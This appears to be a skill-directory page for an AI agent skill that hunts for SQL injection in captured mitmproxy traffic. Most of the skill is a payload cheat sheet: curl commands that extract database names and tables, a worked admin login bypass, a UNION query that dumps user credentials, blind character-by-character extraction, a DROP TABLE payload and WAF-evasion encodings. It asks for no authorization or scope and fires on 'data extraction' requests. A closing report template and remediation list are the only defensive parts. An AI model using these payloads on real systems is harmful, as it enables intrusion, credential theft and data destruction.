一键导入
mitm-find-sqli
Find SQL Injection vulnerabilities in captured traffic. Use when user asks about database security, injection attacks, or data extraction.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Find SQL Injection vulnerabilities in captured traffic. Use when user asks about database security, injection attacks, or data extraction.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Find authentication and session vulnerabilities. Use when user asks about auth bypass, session issues, login security, or token problems.
Find Business Logic vulnerabilities in captured traffic. Use when user asks about payment bypass, race conditions, workflow abuse, or application logic flaws.
Find payment callback and webhook vulnerabilities. Use when user asks about payment security, callback tampering, hash validation, or transaction manipulation.
Find checksum and signature vulnerabilities. Use when user asks about hash validation, signature bypass, checksum manipulation, or cryptographic weaknesses.
Find enumerable endpoints that leak data through iteration. Use when user asks about data scraping, bulk data access, or iterating through records.
Find IDOR (Insecure Direct Object Reference) vulnerabilities in captured traffic. Use when user asks about authorization issues, sequential IDs, or accessing other users' data.
| name | mitm-find-sqli |
| description | Find SQL Injection vulnerabilities in captured traffic. Use when user asks about database security, injection attacks, or data extraction. |
Analyze the mitmproxy dump (log.txt) for SQL injection vulnerabilities for: $ARGUMENTS
Requires:
log.txtin the current directory. If it's missing, capture traffic first:mitmdump --set flow_detail=3 2>&1 | tee log.txt
Parameters frequently vulnerable to SQLi:
id, user_id, product_id, order_id, item_id
search, query, q, keyword, term, filter
sort, order, orderby, sortby, column
category, cat, type, status, name
from, to, start, end, date, time
page, limit, offset, per_page
callback, jsonp, format
file, path, template, view
Search patterns:
grep -iE '(id|search|query|sort|order|filter|category|name|type)[=:]["'\'']?[^&"'\'']+' log.txt
/api/users/123 → /api/users/123'
/products/category/electronics → /products/category/electronics'--
?id=1 → ?id=1' OR '1'='1
?search=test → ?search=test' UNION SELECT--
?sort=name → ?sort=name;DROP TABLE--
{"user_id": "1"} → {"user_id": "1' OR '1'='1"}
{"filter": {"name": "test"}} → {"filter": {"name": "test' OR '1'='1"}}
X-Forwarded-For: 127.0.0.1' OR '1'='1
Cookie: session=abc' UNION SELECT--
' OR '1'='1
' UNION SELECT NULL,NULL,NULL--
' AND SLEEP(5)--
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--
' OR '1'='1
'; SELECT pg_sleep(5)--
' UNION SELECT NULL,NULL,NULL--
' OR '1'='1
'; WAITFOR DELAY '0:0:5'--
' UNION SELECT NULL,NULL,NULL--
' OR '1'='1
' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)--
' UNION SELECT NULL,NULL FROM DUAL--
Look for database errors in responses:
grep -iE '(sql|mysql|oracle|postgres|sqlite|syntax error|query|database|ORA-|PG::|Microsoft SQL)' log.txt
Test with sleep payloads, measure response time:
# Baseline
time curl 'https://target.com/api/user?id=1'
# Test
time curl 'https://target.com/api/user?id=1%27%20AND%20SLEEP(5)--'
Compare responses:
# True condition
curl 'https://target.com/api/user?id=1%20AND%201=1'
# False condition
curl 'https://target.com/api/user?id=1%20AND%201=2'
# Different response = potentially vulnerable
# Find column count
curl 'https://target.com/api/search?q=test%27%20UNION%20SELECT%20NULL--'
curl 'https://target.com/api/search?q=test%27%20UNION%20SELECT%20NULL,NULL--'
curl 'https://target.com/api/search?q=test%27%20UNION%20SELECT%20NULL,NULL,NULL--'
| Type | Severity | Impact |
|---|---|---|
| Data extraction (UNION) | CRITICAL | Full database access |
| Authentication bypass | CRITICAL | Login without credentials |
| Blind SQLi (time-based) | HIGH | Slow data extraction |
| Error-based info disclosure | MEDIUM | Database structure leak |
| Limited injection (filtered) | LOW | Potential for escalation |
# Find all parameters in traffic
grep -oE '[?&][a-zA-Z_]+=' log.txt | sort -u
# Find JSON body parameters
grep -oE '"[a-zA-Z_]+":' log.txt | sort -u
# Single quote test
curl 'https://target.com/api/item?id=1%27'
# Comment test
curl 'https://target.com/api/item?id=1--'
# Boolean test
curl 'https://target.com/api/item?id=1%20AND%201=1'
# MySQL
curl 'https://target.com/api/item?id=1%27%20AND%20@@version--'
# PostgreSQL
curl 'https://target.com/api/item?id=1%27%20AND%20version()--'
# MSSQL
curl 'https://target.com/api/item?id=1%27%20AND%20@@SERVERNAME--'
# Get database name
curl 'https://target.com/api/search?q=%27%20UNION%20SELECT%20database(),NULL,NULL--'
# Get table names
curl 'https://target.com/api/search?q=%27%20UNION%20SELECT%20table_name,NULL,NULL%20FROM%20information_schema.tables--'
Login form: username=admin&password=xxx
Payload: username=admin'--&password=anything
Query becomes: SELECT * FROM users WHERE username='admin'--' AND password='anything'
Result: Logs in as admin without password
Search: /api/search?q=test
Payload: /api/search?q=test' UNION SELECT username,password,email FROM users--
Query becomes: SELECT name,desc,price FROM products WHERE name='test' UNION SELECT username,password,email FROM users--
Result: Dumps user credentials
/api/user?id=1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
Response time or content difference reveals if first char is 'a'
Repeat for each character position
' → %27 → %2527 (double encode)
UNION → UnIoN (case variation)
SELECT → /*!SELECT*/ (MySQL comment)
AND → &&
OR → ||
UNION SELECT → UNION ALL SELECT
' → "
/**/UNION/**/SELECT/**/
UN/**/ION/**/SE/**/LECT
## SQLi Finding: [Brief Description]
**Endpoint**: `METHOD https://target.com/path`
**Parameter**: `param_name` in [query|body|path|header]
**Database**: [MySQL|PostgreSQL|MSSQL|Oracle|Unknown]
**Type**: [Error-based|Union|Blind Boolean|Blind Time]
**Severity**: [CRITICAL|HIGH|MEDIUM|LOW]
**Evidence**:
[Request with payload and response showing vulnerability]
**Payload Used**:
' OR '1'='1
**Impact**:
- Database dump possible
- Authentication bypass
- Data modification/deletion
**Test Command**:
curl 'https://target.com/api/...?id=1%27%20OR%20%271%27=%271'
**Remediation**:
- Use parameterized queries / prepared statements
- Input validation and sanitization
- Least privilege database accounts
- WAF rules for SQLi patterns